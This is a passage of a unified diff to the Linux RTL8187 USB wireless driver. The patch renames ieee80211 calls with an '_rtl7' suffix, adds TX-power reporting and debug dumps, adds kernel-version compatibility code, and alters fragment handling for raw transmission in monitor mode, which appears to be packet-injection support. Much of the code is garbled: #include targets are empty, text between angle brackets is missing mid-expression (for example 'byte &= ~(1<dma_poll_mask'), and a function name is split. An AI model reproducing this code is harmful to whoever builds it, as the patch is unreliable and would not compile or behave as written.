ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-03-05 00:31:38.115128315 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1532,7 +1558,7 @@ word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-03-05 00:31:41.535179906 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c 